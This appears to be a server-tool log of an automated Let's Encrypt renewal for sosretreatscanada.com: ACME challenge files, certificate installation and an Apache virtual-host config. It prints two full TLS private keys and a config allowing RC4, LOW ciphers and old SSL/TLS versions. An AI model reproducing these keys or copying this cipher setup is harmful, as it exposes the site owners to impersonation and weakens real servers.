EwNSMTIwHhcNMjYwMjA0MDUwMjA4WhcNMjYwNTA1MDUwMjA3WjAZMRcwFQYDVQQD
Ew5oaWxscnVuZmFybS5jYTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AIo1dBEaO3I7jHBSnJFpjSDhBb6q1FukBoDZPN4/Nl40ODj1UTSldr9zPksmXZSw
FItwA2G7Ji8PsfbsbZwTNqotIVY86xGH1BZ8d9wnXAbS17uEupa5Pus+toJ2HSlU
pcDHB7bOvTOVWyQuMs7IRn1IrxMVNeCXtF7EIOzBtMpudwP2EWiP49eVhFo5FHnn
nj2sRMcqvj2ZUAHmCE4Jlt6kErsaVGlH3jRtJkqK96Tfdl+PkzeNYmdt/6uombd+
8/P8CfgbUnbi3wxucACuGeYvGcGibtG/ZgbyB46hV/LT1GvbzGuDxqPknceSS4gt
nngth9OckbaVydtjmLz9ydUCAwEAAaOCAjIwggIuMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUeae8m8Dj8swzGkH9rytiiQSNQS4wHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5oaWxscnVuZmFybS5jYYISd3d3
LmhpbGxydW5mYXJtLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNDguY3JsMIIBBAYKKwYBBAHW
eQIEAgSB9QSB8gDwAHcAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYA
AAGcJz0QYAAABAMASDBGAiEA6nY4hkW6V1Qw4gnBvsk93mwKXUT15nPuryEHVMnD
odICIQC8hQlLu/bX5Qb3B1h03x7KO9gKUTpiiPj7IMVgN93FzQB1ANFuqaVoB35m
NaA/N6XdvAOlPEESFNSIGPXpMbMjy5UEAAABnCc9EOkAAAQDAEYwRAIgBo5RbkTD
hCzFwQGsPB56SrSZkNlcUKblQ6CkpyAm6p0CIA+dzbKdcoWG/ZTbZh/Z4jTJlq94
0hzPuoJqiXaBA7FiMA0GCSqGSIb3DQEBCwUAA4IBAQAIrxVLga5uaLyk8By7foi+
01/CviR5EUI03913gOdLvRRxOt/ZLo+e2mwLE6pEKZM0DgNYNpsKN3iAtV//9ctj
upHpB632jz674/DVChDgGxjYsbKVYKwpPricELOUfdHVJPupGMRSGeDrtiTuaMGl
Z0l1ORbeJqfvKoHzGuehd2k4PHkZ/L97qFa4QFLGsKvHy0be38aixE/2bQOkh/el
pAwWKIKG5GIOBL7XvsBZlAtwmGdVHBp4WC0LXHZzni2afdiJnH5EOS8N+kLxX9Yw
A3PiAM5srAMsgvqI8IpUi2Q6DTrs2bTT56Sx87K1WzInYc2Ybz1gx7dOwSUeAeFW
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCKNXQRGjtyO4xw
UpyRaY0g4QW+qtRbpAaA2TzePzZeNDg49VE0pXa/cz5LJl2UsBSLcANhuyYvD7H2
7G2cEzaqLSFWPOsRh9QWfHfcJ1wG0te7hLqWuT7rPraCdh0pVKXAxwe2zr0zlVsk
LjLOyEZ9SK8TFTXgl7RexCDswbTKbncD9hFoj+PXlYRaORR55549rETHKr49mVAB
5ghOCZbepBK7GlRpR940bSZKivek33Zfj5M3jWJnbf+rqJm3fvPz/An4G1J24t8M
bnAArhnmLxnBom7Rv2YG8geOoVfy09Rr28xrg8aj5J3HkkuILZ54LYfTnJG2lcnb
Y5i8/cnVAgMBAAECggEAAvbsDyzanxPnaoZfHOBgelbRTnpwFSoiyJNAUr0U37br
iM88R26QKkGg0bBYPAb93dLQg8Flq4dA6DzAiiNAXiybJTQnz6ez9SqE0KhYeT3/
CiLp9K8zCg09kXVSoU8TQhwSzolHNirLOm6yQMy7dFcBiF2BWxit8gVvdlyeUeQ+
H9YhqwBsXA4kCEWl/XYa2+YsO7/RT6AcsIUJD6vn53MB8DOBoLn377J1efo9QA68
g/Gu9mSfdvECzU121iMwlHNSB4f1ttDumeQToqOk0cXSWt1+a7h31OK/uJUZlrDP
5n6rbsOojdUI5AmBzHzkBxSjvbYGMYi7qvNlDKDXUQKBgQC+iQD/tDQevjUyl/mx
gnsekllPAPKtcR0hbDMWE5llk6S8OUgKzymA4U6HwoL+OFF44PN8cNfftsJ3jAuj
5XJm1/mEoov6yd4gJG9Bf7op8dD2un9I0WMwY7hJZiBOksCN0bBLDMMQ7w78MTD2
2B6JqbGFjqmAqHwmK5PTZbWmsQKBgQC5sfQFbvVQMF4SlTAtolDld7C433o0r0VD
o9EpXqNxSQKi6NBzt8js+orlqBavBh7j6797DxT2LmAYHWEcrqtm4u/QElFtHU7J
xiM8CBKVsGpQnLjV7OUOGdrj1wr0A/3cg2S/EldkiG3hIWTGdh0Z0d5Vs9noTCrP
3DwgNZDmZQKBgHMuWz4477EOBxa4rKdUW51Vl0udJRcYZCXKRO+5lWfEYzet4RE3
vr08dr63JX0NCqNqSYcWqEmDL/gY3wiLMiddtGcr5DcNRYxkuiT8U8v7dPlSMJQS
kEW2YrdsV2doa6LP+iTEaD+aZJKsIg93Aq7xuHEmlu1B7RseCNUojTFhAoGBAK0Y
RmEyNxWSoH4t9wTywvnDgkYyetXVc3lDoNsxTqVw6zY0UusrK+5K9WJyNwLbb7wB
qzHosx9vxz9zU2zLHRcA/44zJRfTM/g96+YvmDNUiSWvkVRISJPGYhX0BE/F0MPW
7vh0/mXGDrbGzAt7WlERInE8/yjcpyOvJZTYmcNJAoGAYU24rHv+br0VsXJh1ayu
tDNoTUi2P7Eq2Sj3Q1dyegoCUKrsC8yw3ALTMQs4gnuyeAPR/e+GaaYurtsKl3Kw
BAeJr/n+n/u4sRMcYOiFyviWNR5kiPGYzGaFrlLgjvnpU0N3Q/ZYRgggDjEMeKKP
gFE1K92cPXjvo1TWYvb2X5s=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-02-04 06:00:41: Establishing a connection
2026-02-04 06:00:42: Establishing a connection
2026-02-04 06:00:42: 

PUT: /tmp/pkp942599

#!/bin/bash
if [ -d "/var/www/sosretreatscanada_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-04 06:00:42: 

chmod 755 /tmp/pkp942599; /tmp/pkp942599; rm /tmp/pkp942599

2026-02-04 06:00:42: 


1


2026-02-04 06:00:43: Establishing a connection
2026-02-04 06:00:43: 

PUT: /tmp/pkp909048

#!/bin/bash
mkdir -p "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
cd "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
cat > G8BR-MSQFoeIpNcggwtgvK666sk-L0vQOWgN7hxSGhI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
G8BR-MSQFoeIpNcggwtgvK666sk-L0vQOWgN7hxSGhI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 G8BR-MSQFoeIpNcggwtgvK666sk-L0vQOWgN7hxSGhI
cat > 4TWG5N6NlKKu4Lv37pVI6lXL02HQgzLNkLFt4yQ02lk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
4TWG5N6NlKKu4Lv37pVI6lXL02HQgzLNkLFt4yQ02lk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 4TWG5N6NlKKu4Lv37pVI6lXL02HQgzLNkLFt4yQ02lk
cat > NQZVpnYvITPlfpczPh22xDs7lD0pzR3I_ZSo-nR24nQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
NQZVpnYvITPlfpczPh22xDs7lD0pzR3I_ZSo-nR24nQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 NQZVpnYvITPlfpczPh22xDs7lD0pzR3I_ZSo-nR24nQ
cat > a3pi8Oa8kP40Gq3nMyeO6_KRI_DdjlRY2nkI9doSCYE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
a3pi8Oa8kP40Gq3nMyeO6_KRI_DdjlRY2nkI9doSCYE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 a3pi8Oa8kP40Gq3nMyeO6_KRI_DdjlRY2nkI9doSCYE
cat > sB2dWV9O_xN-mZBfCTvS7tRR52jl-0J_3ZHIiKVWrUs <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
sB2dWV9O_xN-mZBfCTvS7tRR52jl-0J_3ZHIiKVWrUs.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 sB2dWV9O_xN-mZBfCTvS7tRR52jl-0J_3ZHIiKVWrUs
cat > tT4A02jLdIWdKPJW-ojVM9kPGjtllF5u62gVE2jvAHU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
tT4A02jLdIWdKPJW-ojVM9kPGjtllF5u62gVE2jvAHU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 tT4A02jLdIWdKPJW-ojVM9kPGjtllF5u62gVE2jvAHU


2026-02-04 06:00:43: 

chmod 755 /tmp/pkp909048; /tmp/pkp909048; rm /tmp/pkp909048

2026-02-04 06:00:43: 




2026-02-04 06:01:23: Establishing a connection
2026-02-04 06:01:23: 

PUT: /tmp/pkp557368

#!/bin/bash
mkdir -p "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
cd "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
rm G8BR-MSQFoeIpNcggwtgvK666sk-L0vQOWgN7hxSGhI
rm 4TWG5N6NlKKu4Lv37pVI6lXL02HQgzLNkLFt4yQ02lk
rm NQZVpnYvITPlfpczPh22xDs7lD0pzR3I_ZSo-nR24nQ
rm a3pi8Oa8kP40Gq3nMyeO6_KRI_DdjlRY2nkI9doSCYE
rm sB2dWV9O_xN-mZBfCTvS7tRR52jl-0J_3ZHIiKVWrUs
rm tT4A02jLdIWdKPJW-ojVM9kPGjtllF5u62gVE2jvAHU


2026-02-04 06:01:24: 

chmod 755 /tmp/pkp557368; /tmp/pkp557368; rm /tmp/pkp557368

2026-02-04 06:01:24: 




2026-02-04 06:01:24: Establishing a connection
2026-02-04 06:01:24: 

PUT: /tmp/pkp863762

#!/bin/bash
temp_file=$(mktemp)
TARGET=b58195725e6aa43652c67a8009fa0881.crt

cat > $temp_file <<'endmsg'
70:c1:df:6b:3f:65:df:31:eb:aa:fa:75:b5:ff:6e:fe

-----BEGIN CERTIFICATE-----
MIIFgDCCBGigAwIBAgISBo7iWPB8bBH0Es9HiA72a7QQMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjA0MDUwMjUyWhcNMjYwNTA1MDUwMjUxWjAgMR4wHAYDVQQD
ExVzb3NyZXRyZWF0c2NhbmFkYS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDZScoRvpl6YpP8t9F6Y6UXVE0wTYutYm7mr6lZ0+9a3ctkCXRVyDQ/
emIncNFAAuPQfoUy9PWGrXPLMbPnAsdBtSn9BRswL4nzb0+kDCeTT+wC2ZzSIOlq
zv+lqMrSmBpPl30VUpzxCCCY1sWFCCU3uSOhFHcpXAtUV0sXc82jelYxEj2Z4gzX
ZhLhB3lTZtxRxEpL1161moj3b1YCtwwqITTfSRLxPGzb0h4UCYPYY92uSYcQVMnt
SiGP2sexx7J88hDUY1P4nUHo2xLQGrLX6qcNAM4is7xbIE/Ya9O5Q5kAohYbMR4c
vAzmAn0HU1KmVZmLQ0Ne4JRB/dGRu+6jAgMBAAGjggKfMIICmzAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFHAMO5kwfDJoPRMh9QB2xiV/7jZ2MB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wgZEGA1UdEQSBiTCBhoIOc29zcmV0cmVh
dHMuY2GCFHNvc3JldHJlYXRzY2FuYWRhLmNhghVzb3NyZXRyZWF0c2NhbmFkYS5j
b22CEnd3dy5zb3NyZXRyZWF0cy5jYYIYd3d3LnNvc3JldHJlYXRzY2FuYWRhLmNh
ghl3d3cuc29zcmV0cmVhdHNjYW5hZGEuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTcuY3Js
MIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHYADleUvPOuqT4zGyyZB7P3kN+bwj1x
MiXdIaklrGHFTiEAAAGcJz25+QAABAMARzBFAiEA54Zf4AHIKwVMHSPKhn1TWfI4
HTOcxTurztYnYBubBEcCIBD8fhT5kVED+HH2yp0P8vv+kybjN4MaICrhGoZvVLMi
AH4AcX6V88I4im2x44RJPTHhWqliCHYtQgDgBQzQZ7WmYeIAAAGcJz26eAAIAAAF
AAiSs8EEAwBHMEUCIAmBA3GF9Q1Wj86xb1YhbDb+3WYKkNRpA8BDp+3Ekh05AiEA
8jZ3CEcMHn1CAfepTBc64eDzUC8JKkHa/5eLOCj9b+8wDQYJKoZIhvcNAQELBQAD
ggEBAEdIfFfAt3Ugs2Z2cnWJBGn/2WuVj+db7UTlLfXyEGUN3IGcRVfxrhGYDqNt
M+Kp2i3X9WKFfgjdD+5wEITOMdS03jJ0eGAPCIAuT6nK/6HKCzBpyzUaVwOgvwLo
N7sXEcVCURkZhNMqWkqSLL+iYbNrYTbHSPmDSu5+3vs5Aw0/0IU0KDPinEc9OsBt
0GNK16cpNJwnW7pHX99S9jZMIxSGud3gyDj/WqFjV5pJFgyXsXSKQqsyx4XA+6O1
vN0SFx+12UaDVj0AOYZF+d6KMWk/Z+i8CKGEOzx4oDt+4SBivfeCcN9QVVJ8UglV
/XArTBjicnDjQTJyHjvrAANo0wM=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDZScoRvpl6YpP8
t9F6Y6UXVE0wTYutYm7mr6lZ0+9a3ctkCXRVyDQ/emIncNFAAuPQfoUy9PWGrXPL
MbPnAsdBtSn9BRswL4nzb0+kDCeTT+wC2ZzSIOlqzv+lqMrSmBpPl30VUpzxCCCY
1sWFCCU3uSOhFHcpXAtUV0sXc82jelYxEj2Z4gzXZhLhB3lTZtxRxEpL1161moj3
b1YCtwwqITTfSRLxPGzb0h4UCYPYY92uSYcQVMntSiGP2sexx7J88hDUY1P4nUHo
2xLQGrLX6qcNAM4is7xbIE/Ya9O5Q5kAohYbMR4cvAzmAn0HU1KmVZmLQ0Ne4JRB
/dGRu+6jAgMBAAECggEAMvqs/hzJxXz7W3+FFkHqqd6NfZez/anqexUbloey0I7Y
+U9+i+G84GfGP5qofWwwJuqINbxjHoXzdOjkXH66YSAwCbz49AUzSHoFJWf0oQtP
RBvqPyKZoQWP1T4U1/P3uFTCdA495A8UFsfM77lJghld0p0KmBmQTulsJMR2qrPK
YYXsDsk4QjoU4q+xR56ltAZcfrbKyRPSx9qXWZHps7t80/bMZ9orHimPN1z64aKW
hTOMKDnBdNFR/KVdZJB8qX/4XcWmkRB6oLWZDK0ec01RPC24/S/c2z7TX+vOhdZW
lPwsZcGx49fR4PwUN2KkAHU/kDqZkRZqdALc0FBKAQKBgQD1wAZicdQhUM54j0dC
tGZiUfxeAN+2RJI7BlSJzCAmjOgyQSb4WIshDPEoZLwKVRX+1RkEn63Rld+7dV4y
CCY5FNl9f3ThrxEqo64v9tsQQsRFJiN4X1KLI040DKxYHzp0SUDogSTq9cNUed/m
958VUAz7PeOiL5EIr+FMhhOvMwKBgQDiWd2LbX58QDn7Vrxq+l/jcdxtJAUV7f37
90Z/sLU1+D3LwCuwEDEdDSLNLaJqWg5Vhz2KPFdsxvyIgGQtEp+Wzz6jWkrPrZee
CxlG+RzRuftrETzh9/oy5dhCLUKSe9pRjC2989pB+lKqKD1npuYhlLsqVO38GGbL
mNDZ+IaC0QKBgA2XzoKZeztQhesjObTV16fukv/8GmOxjUkYg4qPsOOQ/bLx6Z7o
/uEYHyq1z7TemfXbgaPA1VN3b8Wlq00nKD4WCiWn7CYjkdaC8TqT8/AFUWflwSaC
V0V88XFtlgbVy1ztRFrX8dvRNjmw+BKFddYu9FjdRn8NFH+fgt3BuMsDAoGALSFz
3dfwD0ATD30ExmOzeLr8EzrKVMwGBxYPlWgbSW58i8J+M3WXBU7YMIa3ynK4Ru9X
ItfTKpomQeUvlBkRftVFjPZ00iGviFB4MsF6sIpficJ/HCMAXOOdEdzKWECfkADe
IfCcBOmvT8QEMkWBvxJTmyYh6VDINjH6+mrmDvECgYEArHZrLV8QLciyrrV0aPQz
HettdNROVhH3BIuLwBdHj5MHAy9JAG7B08VdqzKY9iPn/8lrN0AdP7V5z24CEFWT
34jdb71Or1x9Btn2ViplrpG8fXI+sldj1YWwn0UvI7kXmRKWaBFPbE9S9GBZEXng
4H1ppg0soTfeTnKNwVA7CBg=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-04 06:01:24: 

chmod 755 /tmp/pkp863762; /tmp/pkp863762; rm /tmp/pkp863762

2026-02-04 06:01:24: 


dir=/etc/ssl/certs


2026-02-04 06:01:24: 

PUT: /tmp/pkp401295

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-04 06:01:24: 

chmod 755 /tmp/pkp401295; /tmp/pkp401295; rm /tmp/pkp401295

2026-02-04 06:01:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf 49

<VirtualHost *:80>
    ServerName	sosretreatscanada.com
    ServerAlias	sosretreats.ca www.sosretreats.ca
    ServerAlias	www.sosretreatscanada.com
    ServerAlias	sosretreatscanada.ca www.sosretreatscanada.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/sosretreatscanada_www
    <Directory /var/www/sosretreatscanada_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/sosretreatscanada/www_access.log combined
    ErrorLog	/var/log/apache2/sosretreatscanada/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	sosretreatscanada.com
    ServerAlias	sosretreats.ca www.sosretreats.ca
    ServerAlias	www.sosretreatscanada.com
    ServerAlias	sosretreatscanada.ca www.sosretreatscanada.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt
    DocumentRoot	/var/www/sosretreatscanada_www
    <Directory /var/www/sosretreatscanada_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/sosretreatscanada/www_secure_access.log combined
    ErrorLog	/var/log/apache2/sosretreatscanada/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-04 06:01:24: 

PUT: /tmp/pkp663727

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=sosretreatscanada_www_com.conf
TARGET=/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	sosretreatscanada.com
    ServerAlias	sosretreats.ca www.sosretreats.ca
    ServerAlias	www.sosretreatscanada.com
    ServerAlias	sosretreatscanada.ca www.sosretreatscanada.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/sosretreatscanada_www
    <Directory /var/www/sosretreatscanada_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/sosretreatscanada/www_access.log combined
    ErrorLog	/var/log/apache2/sosretreatscanada/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	sosretreatscanada.com
    ServerAlias	sosretreats.ca www.sosretreats.ca
    ServerAlias	www.sosretreatscanada.com
    ServerAlias	sosretreatscanada.ca www.sosretreatscanada.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt
